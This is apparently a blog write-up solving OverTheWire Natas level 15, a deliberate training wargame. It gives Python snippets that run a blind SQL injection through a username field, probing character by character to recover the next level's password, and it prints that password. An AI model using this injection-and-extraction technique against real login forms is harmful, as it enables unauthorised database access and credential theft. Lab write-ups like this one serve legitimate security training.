Writeups OverTheWireNatasWeb ExploitationBlind SQL Injection

Natas 15 Writeup - OverTheWire

Writeup for Natas level 15 from OverTheWire: blind SQL injection with character probing.

Contents

Wargame: Natas

Level: 15

Category: Web Exploitation

Description

A form accepts a username and returns only “This user exists” or “This user doesn’t exist”. No password is revealed directly. The goal is to extract the natas16 password character by character from the database.

Overview

Background: Blind SQL Injection

Solution

Step 1: Enumerate Characters in the Password

charset = string.ascii_letters + string.digits
match_set = []

for c in charset:
    query = f'natas16" and password like binary "%{c}%" #'
    r = requests.post(url, auth=auth, data={"username": query})
    if "This user exists" in r.text:
        match_set.append(c)

Step 2: Build the Password Prefix-by-Prefix

result = ""
while len(result) != 32:
    for c in match_set:
        query = f'natas16" and password like binary "{result + c}%" #'
        r = requests.post(url, auth=auth, data={"username": query})
        if "This user exists" in r.text:
            result += c
            break

Password

TRD7iZrd5gATjj9PkPEuaOlfEjHqj32V

← Back to Blog